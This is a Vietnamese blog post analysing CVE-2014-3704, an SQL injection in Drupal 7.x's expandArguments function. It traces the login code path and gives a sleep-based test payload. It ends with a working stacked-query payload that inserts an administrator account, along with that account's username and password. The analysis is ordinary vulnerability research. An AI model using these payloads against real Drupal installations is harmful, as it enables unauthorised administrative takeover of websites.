Phân tích CVE-2014-3704

– Tác giả:

Stefan Horst [stefan.horst[at]sektioneins.de]

– CVE link:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704

– Dạng lỗi:

SQL Injection

– Sản phẩm dính đạn:

Drupal core 7.x -> 7.31

– Tóm tắt lỗi:

expandArguments function code lỗi, cho phép kẻ tấn công thực hiện SQLi bằng cách nhập array vào

– Cụ thể:

Đầu tiên down source drupal 7.31 về, cài đặt lên

thử đổi biến name thành dạng array (vì lỗi bảo vậy mà ^_^)

Vào xem thử code của luồng hoạt động khi ta login:
(./modules/user/user.module:2137)

line 2149 gọi function db_query nhận vào biến query là "SELECT * FROM {users} WHERE name = :name AND status = 1" và mảng với key là :name nhận giá trị ta input từ form login vào

Trace hàm db_query (./includes/database/database.inc)

Line 2350 gọi đến hàm query (./includes/database/database.inc) , trace tiếp:

Đã tới được điểm nóng, line 681 gọi hàm expandArguments với các tham số đi vào giống như khi đi vào lòng người à lộn đi vào hàm db_query ở trên.

Nếu hoạt động như bình thường ( ?name=tsu ), thì không có gì xảy ra cả, login chạy bình thường, nhưng ở line 737, nếu trong args là array, thì nó sẽ được “expand” ra và nối lại dưới dạng $new_keys[$key . '_' . $i] = $value;

Test thử dưới local nè:

Ở line 755 (cũng trong hàm expandArguments), mấy cái được nối lại sẽ được replace vào câu query:

cho nên là khi input name[e]=tsu&name[y]=tsu2, câu query sẽ trở thành:

Vậy sẽ thế nào khi sửa name[e] thành name[0 or sleep(5)# ], câu query sẽ thành
SELECT * FROM {users} WHERE name = :name_0 or sleep(5)# , :name_0 AND status = 1
=> Sleep 5 giây ^_^

– Exploit:

Drupal sử dụng PDO nên có thể chạy được sql stack query => Tạo user quyền admin => pwned

name[0;insert into users values (99999,'tsuhihi','$S$DpPaNHY90R5mQ.O5jkVIyT3PjPLcVvLEcsZ1sVZ5X5onytapTfkk','hacked@gmail.com','','',NULL,0,0,0,1,NULL,'',0,'',NULL);#]

user: tsuhihi
pass: 123456

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s